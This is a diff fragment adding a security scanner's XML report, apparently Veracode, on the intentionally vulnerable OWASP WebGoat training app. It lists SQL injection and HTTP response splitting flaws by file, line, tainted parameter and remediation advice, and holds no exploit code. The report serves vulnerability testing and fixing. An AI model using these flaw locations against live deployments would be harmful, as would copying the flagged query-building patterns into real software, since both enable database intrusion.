+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"118\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"197\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
